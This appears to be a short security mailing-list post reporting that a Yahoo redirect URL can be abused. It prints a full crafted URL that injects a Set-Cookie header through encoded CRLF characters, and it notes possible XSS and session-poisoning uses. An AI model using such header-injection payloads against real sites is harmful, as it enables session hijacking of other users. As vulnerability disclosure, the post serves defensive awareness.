That site also demonstrates another issue with this type of HTTP Redirector
that has been mentioned as a security risk before:
http://srd.yahoo.com/S=2766679:WS1/R=1/K=microsoft+sux/H=0/T=1048357500/F=131cc5f493bf26b0a115b6debc24d362/*http://www.cryptome.org%0D%0ASet-cookie:%20foo%3D123%3B%%20domain%3D.yahoo.com%3B%20path%3D/

It adds a cookie for the whole .yahoo.com domain, this could be an attack
vector for other XSS (I wouldn't be surprised if there is less checking
done on cookie input) or session poisoning type attacks.
